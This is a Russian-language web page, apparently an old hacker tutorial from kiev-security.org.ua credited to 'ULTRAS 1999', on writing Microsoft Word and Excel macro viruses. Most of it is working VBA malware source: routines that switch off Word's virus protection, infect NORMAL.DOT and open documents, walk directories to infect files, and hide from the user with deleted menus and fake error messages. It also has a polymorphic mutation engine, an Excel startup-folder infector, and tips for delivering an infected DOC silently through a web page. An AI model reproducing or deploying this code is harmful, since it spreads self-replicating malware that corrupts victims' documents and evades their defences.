|
реклама |
|
http://kiev-security.org.ua
Если в качестве URL стоИт файл с одним из известных для Internet Explorer pасшиpением, то IE запускает пpогpамму, пpедназначенную для пpосмотpа этого файла. Hапpимеp, Acrobat Reader для файла .PDF или MSWord для .DOC. Что касается PDF, то внедpение в него кода еще не освоено, и такие возможности неизвестны, а с DOC'ом даавно все ясно. Что касается Netscape Navigator, такое тоже возможно, но я не нашел там DOC среди обрабатываемых расширений. Перед запуском файла обычно появляется запрос, стОит ли его открывать, но в IE 4 было обнаружено, что при открытии DOC никаких запросов не появляется. Просмотреть и изменить установки можно в Настройках <эТипы файлов> <эПодтверждать открытие после загрузки>.
Пpоблема номер 2 - это избежать надписи "Документ содеpжит макpосы". Для этого файл должен быть специальным обpазом подготовлен, а именно - необходимо создать файл - темплейт (т.н. шаблон), и все макpосы pазместить в нем. После чего нужно сделать "Attach template" (в менюшках ворда) и тогда пpи откpытии макpосы шаблона запустятся без лишнего шума - правда, это работает тоже не на всех Word'ах.Готово.
Мы не будем дожидаться, пока юзеp кликнет на нужный линк, и откpоем воpд сами,для этого pазместим JavaScript на стpанице.
TESTПpи подготовке Word документа обязательно следите за тем, чтобы там не осталось следов вашего компьютеpа, таких как имя pегистpации воpда и т.п.
При работе с документом Word выполняет различные действия: открывает документ, сохраняет, печатает, закрывает и т.д. При этом Word ищет и выполняет соответствующие "встроенные макросы" - при сохранении файла по выбору пункта меню File/Save вызывается макрос FileSave, при сохранении по пункту меню File/SaveAs - FileSaveAs, при печати документов - FilePrint и т.д.,если, конечно, таковые макросы определены.
Существует также несколько "авто-макросов", автоматически вызываемых при различных условиях. Например, при открытии документа Word проверяет его на наличие макроса AutoOpen. Если такой макрос присутствует, то Word выполняет его. При закрытии документа Word выполняет макрос AutoClose, при запуске Word вызывается макрос AutoExec, при завершении работы - AutoExit, при создании нового документа - AutoNew. Макро вирусы получают управление при открытии или закрытии зараженного файла, перехватывают стандартные файловые функции и затем заражают файлы, к которым каким-либо образом идет обращение. По аналогии с MS-DOS можно сказать, что большинство макро-вирусов являются резидентными: они активны не только в момент открытия/закрытия файла, но до тех пор, пока активен сам редактор.
Большинство известных Word-СМ (версий Word97 и 2000) при запуске копируют свой модуль в область глобальных макросов документа (NORMAL.DOT), таким образом, при следующем запуске редактора MS-Word этот код активизируется в тот момент, когда Word97 грузит глобальные модули, т.е. сразу. Затем вирус переопределяет содержащие в нем макросы (например, AutoOpen, AutoExit, FilePrint) и перехватывает их таким образом, что при вызове этих макросов будет заражаться документ. Ниже описаны четыре метода внедрения.
При закрытии документа проверяем активный документ и normal.dot на наличие в них нашего модуля , и если не найден, то внедряемся в него.
Sub AutoClose() 'внедрение при закрытии документов On Error Resume Next Options.VirusProtection = False 'Выключает защиту от вирусов и запуск авто-функций. Set ActiveDoc = ActiveDocument Set GlobalDoc = NormalTemplate DocInfect = False 'документ не содержит нашего модуля GlobInfect = False 'normal.dot не содержит нашего модуля For b = 1 To ActiveDocument.VBProject.VBComponents.Count If ActiveDocument.VBProject.VBComponents(b).Name = "Nop" Then 'если в активном документе есть наш модуль DocInfect = True 'то документ уже обработан End If Next For u = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(u).Name = "Nop" Then 'если normal.dot есть модуль нашего СМ GlobInfect = True 'то normal.dot обработан End If Next If DocInfect = False Then 'если в активном документе нет нашего модуля, то внедряем его туда Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Nop", Object:=wdOrganizerObjectProjectItems 'копируем наш модуль ActiveDocument.SaveAs filename:=ActiveDoc.Name, FileFormat:=wdFormatTemplate End If If GlobInfect = False Then 'если в normal.dot нет нашего модуля, то внедряем его туда Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Nop", Object:=wdOrganizerObjectProjectItems 'копируем наш модуль Options.SaveNormalPrompt = False End If Application.DisplayAlerts = wdAlertsAll End Sub
Для внедрения в документы используются функции VisualBasic Import и Export - записываем (экспортируем) свой Бейсик-текст в файл C:\MMM.SYS и затем считываем (импортируем) его в текущий документ (в случае Word). В случае Word для заражения документов перехватываем авто-макрос AutoClose.
Sub AutoClose() 'внедряется при закрытия документов On Error Resume Next Options.VirusProtection = False 'Выключает защиту от вирусов и запуск авто-функций. Options.SaveNormalPrompt = False 'выключаем сообщение о запросе на сохранение изменений в normal.dot Application.VBE.ActiveVBProject.VBComponents("SG").Export "C:\MMM.SYS" 'экспортируем наш модуль на диск For I = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(I).Name = "SG" Then NormInstall = True 'если в normal.dot нет нашего модуля, то внедряем его туда Next I For I = 1 To ActiveDocument.VBProject.VBComponents.Count If ActiveDocument.VBProject.VBComponents(I).Name = "SG" Then ActivInstall = True Next I 'если в активном документе нет нашего модуля, то внедряем его If ActivInstall = True And NormInstall = False Then Set SexR = NormalTemplate.VBProject _ Else If ActivInstall = False And NormInstall = True Then Set SexR = ActiveDocument.VBProject With SexR With .VBComponents.Import("c:\MMM.SYS") End With End With 'импортируем модуль в обЪекты, не содержащие нашего модуля If ActivInstall = False Then ActiveDocument.SaveAs FileName:= ActiveDocument.FullName, FileFormat:=wdFormatDocument End Sub
"Нерезидентен" - при открытии файла-носителя ищет документы в каталогах от текущего каталога до корневого и внедряется в них. Свое присутствие в файле определяет по последовательности байт, которую при внедрении записывает в неиспользуемую область заголовка документа.
Sub AutoOpen() 'внедрение при открытии документов On Error Resume Next Application.DisplayAlerts = wdAlertsNone Options.VirusProtection = False 'Выключает защиту от вирусов и запуск авто-функций. rsminf: FileName$ = CurDir$ + "\" + Dir("*.doc") 'ищем doc файлы в текущем каталоге Open FileName$ For Input As #1 'открываем файл Seek #1, 521 'ищем в нем строку RSM$ = Input$(3, #1) Close #1 If RSM$ = Chr$(1) + Chr$(18) + Chr$(191) Then GoTo chgdir 'если нашли свои опозновательные знаки, то меняем директорию Open FileName$ For Append As #1 'нашли документ без нашего модуля и откроем его Seek #1, 523 'ищем строку Print #1, Chr$(1) + Chr$(18) + Chr$(191) + Chr$(0) + Chr$(0) 'вписываем в найденный док метку нашего присутствия Close #1 'закрываем документ rsmdoc = ActiveDocument.FullName Application.Documents.Open FileName 'открываем документ Application.OrganizerCopy Source:=rsmdoc, Destination:=FileName, Name:="RatSMagic", Object:=wdOrganizerObjectProjectItems 'копируем наш модуль в документ Application.Documents.Save 'сохраним обработанный документ ActiveDocument.Close 'закрываем chgdir: ChDir ".." 'изменяем директорию GoTo rsminf 'поиск файлов ecsit: end sub
Заражает систему при открытии файла-носителя, при этом экспортирует свой код в файл C:\CLASS.SYS и вставляет его в NORMAL.DOT макрос. Внедрение в документы осуществляется тем же образом при их закрытии.
Sub AutoOpen() внедряется при открытии документов On Error GoTo out Options.ConfirmConversions = False Options.VirusProtection = False 'Выключает защиту от вирусов и запуск авто-функций. Options.SaveNormalPrompt = False ad=ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLi nes nt=NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLi nes If nt = 0 Then Set host = NormalTemplate.VBProject.VBComponents.Item(1) ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys" 'экспортируем наш модуль на диск End If If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1) If nt > 0 And ad > 0 Then GoTo out 'Проверяем если комманды в активном документе и normal.dot host.codemodule.AddFromFile ("c:\class.sys") 'экспортируем class модуль With host.codemodule For x = 1 To 4 .deletelines 1 Next x End With If nt = 0 Then With host.codemodule .replaceline 1, "Sub AutoClose()" .replaceline 69, "Sub ViewVBCode()" End With End If out: If nt <> 0 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End Sub
Реализация стелс-алгоритмов является, наверное, наиболее простой задачей - достаточно всего лишь запретить вызов меню работы с макросами в VBA. Достигается это либо удалением этих пунктов меню из списка, либо их подменой на макросы. Ниже описаны четыре самых простых стелс методов, в будущем я покажу более сложные методы стелсирования под Word97.
'Это один из самых простейших способов. Мы просто удаляем из меню эти функций. CommandBars("tools").Controls("Macro").Delete CommandBars("tools").Controls("Customize...").Delete CommandBars("tools").Controls("Templates and add-ins...").Delete
'Вирус выключает функцию работы с макросами. Application.CommandBars("Tools").Controls(12).Enabled = False
При вызове пользователем функций ToolsMacro, ToolsCustomize, ViewVBCode выдаем сообщение об ошибки.
Sub ToolsMacro() MsgBox "An Invalid Command Was executed, the last processed command will be terminated", , "Fatal Systematic Error" End Sub Sub ToolsCustomize() MsgBox "This function does not work" End Sub Sub ViewVBCode() MsgBox "File Allocation Error: Unable to access segment at CS:1400", , "Memory Allocation Error" End Sub
При вызове юзером функций ToolsMacro, она включается, но ни одни параметры не работают в ней.
sub ToolsMacro() On error resume next NormalTemplate.VBProject.VBComponents("V").Export ("vir.dll") 'экспортируем модуль application.OrganizerDelete NormalTemplate.FullName, "v",wdOrganizerObjectProjectItems 'удаляем модуль вируса из Normal.dot While Dialogs(wdDialogToolsMacro).Display Wend 'запрещаем запустить, изменить модуль вируса в документе. NormalTemplate.VBProject.VBComponents.import ("vir.dll") 'сли юзер закрыл функцию toolsmacro то импортируем модуль Kill "vir.dll" 'удаляем ненужный файл end sub
ULTRAS 1999
Используется способ полиморфизма "изменение выполняемого кода". При открытий зараженного документа, случайным образом меняем имена своих переменных, вставляем пустые строки или меняют свой код каким-либо иным способом. Таким образом алгоритм работы остается без изменений, но код практически полностью меняется от поколения к поколению.
Полиморфизм для Word97.Этот полиморфный механизм добавляет в код строки со случайными комментариями случайной длины.
Sub UMPE() ' ULTRAS MACRO POLYMORPHIC ENGINE MuNu = Int(Rnd() * 20 + 1) 'генерируем число от 1 до 20 For Mutate = 1 To MuNu 'сколько раз будет генерироваться мусор MuRL = Application.VBE.ActiveVBProject.VBComponents("UMPE").CodeModule.Cou ntOfLines 'открываем модуль MuLi = Int(Rnd() * MuRL + 1) 'выбираем свободные строки в модуле MuLe = Int(Rnd() * 40 + 1) 'генерируем число от 1 до 40 For MuGe = 1 To MuLe 'сколько раз генерим буквы LiVe = Int((120 - 100 + 1) * Rnd + 228) 'генерируем буквы MuRe = MuRe + Chr$(LiVe) Next MuGe 'далее Application.VBE.ActiveVBProject.VBComponents("UMPE").CodeModule.Ins ertLines MuLi, vbTab & "' " & MuRe 'теперь записываем в модуль что получилось MuRe = "" Next Mutate 'повторим цикл End Sub Ну теперь надо подключить наш полиморфик к коду. Sub AutoClose() 'внедряется при закрытии документов On Error Resume Next Options.VirusProtection = False 'Выключает защиту от вирусов и запуск авто-функций. Options.SaveNormalPrompt = False 'выключаем сообщение об изменении normal.dot Call UMPE '!!!!!!!!! запускаем полиморфик Application.VBE.ActiveVBProject.VBComponents("SG").Export "C:\UMPE.dll" 'экспортируем наш модуль на диск For I = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(I).Name = "SG" Then NormInstall = True 'если в normal.dot нет нашего модуля, то внедряемся в него Next I For I = 1 To ActiveDocument.VBProject.VBComponents.Count If ActiveDocument.VBProject.VBComponents(I).Name = "SG" Then ActivInstall = True Next I 'если в активном документе нет нашего модуля, то внедряемся в него If ActivInstall = True And NormInstall = False Then Set zom = NormalTemplate.VBProject _ Else If ActivInstall = False And NormInstall = True Then Set zom = ActiveDocument.VBProject With zom With .VBComponents.Import("c:\UMPE.dll") End With End With 'импортируем наш модуль в необработанные обЪекты If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, _ FileFormat:=wdFormatDocument End Sub
ULTRAS 1999
Методы СМ в Excel, включая Excel97, в целом аналогичны методам, используемым в Word. Различия заключаются в отсутствии NORMAL.DOT (вместо этого в Excel есть startup каталог) и некоторыми командами. Ниже будет описан пример внедрения в файлы Excel.
Sub Auto_Close() 'активация при закрытии документов On Error Resume Next If Dir(Application.StartupPath + "\" & Application.UserName & ".xlm") = Application.UserName & ".xlm" Then p = True 'проверяем есть ли наша копия в startup каталоге Application.VBE.ActiveVBProject.VBComponents("IT").Export "c:\loz.dll" 'если файл найден в startup каталоге то экспортируем код в файл c:\loz.dll For I = 1 To ActiveWorkbook.VBProject.VBComponents.Count If ActiveWorkbook.VBProject.VBComponents(I).Name = "LMD" Then t = True 'проверяем если в документе наш модуль Next I If t = False Then 'если нет With ActiveWorkbook.VBProject With .VBComponents.Import("c:\loz.dll") 'то импортируем код из файла "c:\loz.dll" End With End With End If If p = False Then 'если в startup каталоге нет копий нашего кода Workbooks.Add.SaveAs filename:=Application.StartupPath + "\" & Application.UserName & ".xlm" 'создаем пустой документ в startup каталоге With ActiveWorkbook.VBProject With .VBComponents.Import("c:\loz.dll") 'и внедряемся в созданый документ End With End With Workbooks(Application.UserName & ".xlm").Save 'сохраним документ в startup каталоге End If ActiveWorkbook.Save 'сохраним активный документ End Sub
<a href="http://kiev-security.org.ua" title="Самый большой объем в сети онлайн инф-ции по безопасности на rus" target="_blank"><img src="http://kiev-security.org.ua/88x31.gif" width="88" height="31" border="0" alt="security,безопасность,библиотека"></a> |